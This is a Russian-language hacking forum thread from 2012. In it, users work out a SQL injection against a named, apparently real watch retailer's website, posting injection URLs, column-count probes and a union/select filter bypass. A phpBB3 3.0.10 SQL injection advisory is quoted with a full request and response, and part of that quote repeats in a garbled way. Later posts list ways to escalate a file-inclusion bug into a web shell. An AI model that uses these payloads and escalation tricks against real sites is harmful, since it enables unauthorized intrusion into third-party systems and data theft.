ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

03.10.2012, 17:56
|
|
Познающий
Регистрация: 19.04.2008
Сообщений: 67
Провел на форуме: 596695
Репутация:
19
|
|
http://www.zgwatches.co.uk/customer_testimonials.php?CategoryID=438032182&tes timonial_id=-1%20/*!union*/%20/*!all*/%20*!select*/%20111111111,22222222,33333,bbbbbbbbb--
как обойти филтрацию? фильтруется все, кроме A-z и пробела. Даже запятые в примере выше
|
|
|

04.10.2012, 01:59
|
|
Новичок
Регистрация: 04.12.2008
Сообщений: 11
Провел на форуме: 69033
Репутация:
8
|
|
Сообщение от DeepXhadow
DeepXhadow said:
http://www.zgwatches.co.uk/customer_testimonials.php?CategoryID=438032182&tes timonial_id=-1%20/*!union*/%20/*!all*/%20*!select*/%20111111111,22222222,33333,bbbbbbbbb--
как обойти филтрацию? фильтруется все, кроме A-z и пробела. Даже запятые в примере выше
Ну я бы не сказал что "прям уж почти всё фильтруется". Это высказывание ложно.
Для начала - инъекция с участием order by проходит на Ура.
Код:
Code:
_ttp://www.zgwatches.co.uk/customer_testimonials.php?CategoryID=438032182&testimonial_id=16-1+order+by+8+--+ TRUE
_ttp://www.zgwatches.co.uk/customer_testimonials.php?CategoryID=438032182&testimonial_id=16-1+order+by+9+--+ FALSE
group by как альтернативу order by кстати тоже пропускает.
Код:
Code:
_ttp://www.zgwatches.co.uk/customer_testimonials.php?CategoryID=438032182&testimonial_id=16-1+group+by+8+--+
_ttp://www.zgwatches.co.uk/customer_testimonials.php?CategoryID=438032182&testimonial_id=16-1+group+by+9+--+
Вопрос - Как ты подбирал столбцы ? Почему их у тебя 4 ?
Далее - фильтруется не union и не select - фильтруется связка union+select . Обошёл так. Стандартно так-то.
Код:
Code:
_ttp://www.zgwatches.co.uk/customer_testimonials.php?CategoryID=438032182&testimonial_id=16-1+union+/*!select*/+1
Приеду домой - попробую обойти фильтр запятых через join - хотя можешь и сам попробовать.
|
|
|

04.10.2012, 02:57
|
|
Guest
Сообщений: n/a
Провел на форуме: 3273
Репутация:
0
|
|
[QUOTE="None"]
Name : phpBB3 SQL Injection
------------------------------------------------------------------
Date : 27.07.2012
------------------------------------------------------------------
Site : www.phpbb.com
------------------------------------------------------------------
Version : 3.0.10
------------------------------------------------------------------
1) What is it?
This is very nice forum board. You should try it!
------------------------------------------------------------------
2) Type of bug?
SQL Injection (or SQL-info-Leak if You want).
------------------------------------------------------------------
3) Where is the bug?
Vulnerable parameter seems to be 'style' because if we set up this parameter
to 'bigger number' (for example: 111111111) we will get an error, with full SQL
statement.
*updated - dateformat is the second vulnerable parameter!
*updated - post_st is the 3rd vulnerable parameter!
*updated - another one: topic_st
4) PoC traffic from Burp:
4.1) Request :
---
POST /kuba/phpBB/phpBB3/ucp.php?i=prefs&mode=personal HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:14.0) Gecko/20100101 Firefox/14.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://localhost/kuba/phpBB/phpBB3/ucp.php?i=174
Cookie: style_cookie=null; phpbb3_t4h3b_u=2; phpbb3_t4h3b_k=; phpbb3_t4h3b_sid=
Content-Type: application/x-www-form-urlencoded
Content-Length: 258
Connection: close
viewemail=1
&massemail=1
&allowpm=1
&hideonline=0
&notifypm=1
&popuppm=0
&lang=en
&style=%2b1111111111
&tz=0
&dst=0
&dateoptions=D+M+d%2C+Y+g%3Ai+a
&dateformat=D+M+d%2C+Y+g%3Ai+a
&submit=Submit
&creation_time=1343370877
&form_token=576...
---
4.2) Response:
---
HTTP/1.1 503 Service Unavailable
Date: Fri, 27 Jul 2012 06:39:06 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.2
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 2889
Return to the index page
General Error
SQL ERROR [ mysqli ]
Out of range value for column 'user_style' at row 1 [1264]
SQL
UPDATE phpbb_users
SET user_allow_pm = 1, user_allow_viewemail = 1, user_allow_massemail = 1, user_allow_viewonline = 1,
user_notify_type = '0', user_notify_pm = 1, user_options = '230271', user_dst = 0,
user_dateformat = 'D M d, Y g:i a', user_lang = 'en', user_timezone = 0, user_style = 1111111111
WHERE user_id = 2
BACKTRACE
FILE: [ROOT]/includes/db/mysqli.php
LINE: 182
CALL: dbal->sql_error()
FILE: [ROOT]/includes/ucp/ucp_prefs.php
LINE: 100
CALL: dbal_mysqli->sql_query()
FILE: [ROOT]/includes/functions_module.php
LINE: 507
CALL: ucp_prefs->main()
FILE: [ROOT]/ucp.php
LINE: 333
CALL: p_master->load_active()
Please notify the board administrator or webmaster: (...)
---
4.2 Other response (this time from post_st parameter):
---
Return to the index page
General Error
SQL ERROR [ mysqli ]
Incorrect integer value: 'javascript:alert(123123);/' for column 'user_post_show_days' at row 1 [1366]
An SQL error occurred while fetching this page.
Please contact the Return to the index page
General Error
SQL ERROR [ mysqli ]
Out of range value for column 'user_style' at row 1 [1264]
SQL
UPDATE phpbb_users
SET user_allow_pm = 1, user_allow_viewemail = 1, user_allow_massemail = 1, user_allow_viewonline = 1,
user_notify_type = '0', user_notify_pm = 1, user_options = '230271', user_dst = 0,
user_dateformat = 'D M d, Y g:i a', user_lang = 'en', user_timezone = 0, user_style = 1111111111
WHERE user_id = 2
BACKTRACE
FILE: [ROOT]/includes/db/mysqli.php
LINE: 182
CALL: dbal->sql_error()
FILE: [ROOT]/includes/ucp/ucp_prefs.php
LINE: 100
CALL: dbal_mysqli->sql_query()
FILE: [ROOT]/includes/functions_module.php
LINE: 507
CALL: ucp_prefs->main()
FILE: [ROOT]/ucp.php
LINE: 333
CALL: p_master->load_active()
Please notify the board administrator or webmaster: (...)
---
4.2 Other response (this time from post_st parameter):
---
Return to the index page
General Error
SQL ERROR [ mysqli ]
Incorrect integer value: 'javascript:alert(123123);/' for column 'user_post_show_days' at row 1 [1366]
An SQL error occurred while fetching this page.
Please contact the
|
|
|
|

04.10.2012, 03:00
|
|
Reservists Of Antichat - Level 6
Регистрация: 07.07.2009
Сообщений: 324
Провел на форуме: 1585404
Репутация:
564
|
|
CoBecTb для начало просто изучи английский тут же все и так понятно по логике, и все показано и какие тулзы понадобятся.
__________________
Никогда не бойся делать то, что ты не умеешь. Помни, ковчег был построен любителем. "Титаник" - проффесионалами.
|
|
|

04.10.2012, 03:04
|
|
Guest
Сообщений: n/a
Провел на форуме: 3273
Репутация:
0
|
|
Сообщение от shell_c0de
shell_c0de said:
CoBecTb для начало просто изучи английский тут же все и так понятно по логике, и все показано и какие тулзы понадобятся.
Я всё понимаю, и на каких то форумах аналогично могу ответить как и ты, но в данный момент мне хотелось бы прочитать ответ на мой вопрос. Переводил, ничего не понял, да признаю что нету у меня образования в этой области. Поэтому прошу помощи. Заранее благодарю.
|
|
|
|

04.10.2012, 04:03
|
|
Познающий
Регистрация: 19.04.2008
Сообщений: 67
Провел на форуме: 596695
Репутация:
19
|
|
BigBear, там фильтрация ( и ) есть. как ее обходить - хз. про ордер бай я знаю, просто для примера 4 сделал
|
|
|

04.10.2012, 07:03
|
|
Новичок
Регистрация: 04.12.2008
Сообщений: 11
Провел на форуме: 69033
Репутация:
8
|
|
Сообщение от DeepXhadow
DeepXhadow said:
BigBear, там фильтрация ( и ) есть. как ее обходить - хз. про ордер бай я знаю, просто для примера 4 сделал
Ага, уже посмотрел. + фильтруются любые математические сравнения типа .
Есть надежда, может они Post запрос не так жёстко фильтровать будут. Надо проверить. А в GET запросах нам точно тут ничего не светит.
|
|
|

04.10.2012, 15:32
|
|
Guest
Сообщений: n/a
Провел на форуме: 39063
Репутация:
0
|
|
Какие еще есть идеи с раскруткой lfi хотя бы до мини-шелла, если phpinfo нет, environ показывает ошибку и denied? Полный путь известен, в конфиг-файлах явок и паролей нет
|
|
|
|

04.10.2012, 16:08
|
|
Guest
Сообщений: n/a
Провел на форуме: 29020
Репутация:
55
|
|
Так если навскидку:
искать логи и попытатся их проинклудить
попытатся залить что то и проинклудить, может там форум есть и можно аватару со своим кодом запилить и т.д.
попробовать через протокол data
попробовать проинклудить отправленный на email письмо, если на сервере конечно что то такое крутиться
попробывать залить какой либо файл через соседей и проинклудить
|
|
|
|

04.10.2012, 22:42
|
|
Познающий
Регистрация: 09.02.2009
Сообщений: 70
Провел на форуме: 393885
Репутация:
34
|
|
В скрипте поиска кавычка выдает ошибку:
WHERE (name_ru LIKE '%'%' OR product_code LIKE '%'%') AND...
Как тут выполнить order by?
|
|
|
|
 |
|
|
Здесь присутствуют: 3 (пользователей: 0 , гостей: 3)
|
|
|
|